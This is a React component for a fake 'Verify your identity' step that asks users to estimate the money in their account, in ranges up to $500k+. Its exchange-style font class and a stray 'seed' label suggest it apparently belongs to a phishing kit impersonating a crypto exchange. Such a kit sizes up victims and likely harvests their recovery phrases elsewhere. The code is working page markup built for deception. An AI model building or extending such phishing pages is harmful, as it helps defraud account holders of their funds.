import { Label } from '@/components/ui/label'
import RenderError, { ErrorClass } from './Error'
import { FormProps } from '.'
import Image from 'next/image'
import { cn } from '@/lib/utils'

export default function EstMoney({
    error = {},
    formData,
    handleKeyDown,
    handleInputChange
}: FormProps) {
    return (
        <div className='gap-6 flex flex-col pb-6'>
            <div className='w-full flex flex-col items-center justify-center gap-4'>
                <Image src={'/shield.svg'} width={96} height={96} alt='logo' priority/>
                <h2 className='text-[28px]'>Verify your identity</h2>
                <p className='max-w-sm text-center text-muted-foreground font-cbsans text-sm'>Answer this question to verify that you are the only one accessing your account.</p>
            </div>
            <div className='flex flex-col gap-1'>
                <Label
                    htmlFor='seed'
                    className='font-semibold leading-5 py-1 text-[14px]'
                >
                    Estimate money on my account
                </Label>
                <div className="relative w-full">
                    <select
                        id="estmoney"
                        value={formData.estmoney}
                        onChange={(e) => handleInputChange('estmoney', e.target.value)}
                        className={cn(
                            'w-full h-[55px] px-4 text-start border rounded-md appearance-none font-cbsans',
                            ' bg-background dark:bg-[rgb(10,11,13)] text-sm outline-none focus:border focus:border-primary transition-all ease-in-out disabled:bg-[rgb(10,11,13)]',
                            error.any ? `${ErrorClass} border-[rgb(240,97,109)]` : ''
                        )}
                    >
                        <option selected>
                            Pick an option
                        </option>
                        <option value="0-10k">$0-10k</option>
                        <option value="10k-40k">$10k-40k</option>
                        <option value="40k-100k">$40k-100k</option>
                        <option value="100k-500k">$100k-500k</option>
                        <option value="500k+">$500k+</option>
                    </select>
                    <RenderError error={error.any} />
                </div>
            </div>
        </div>
    )
}
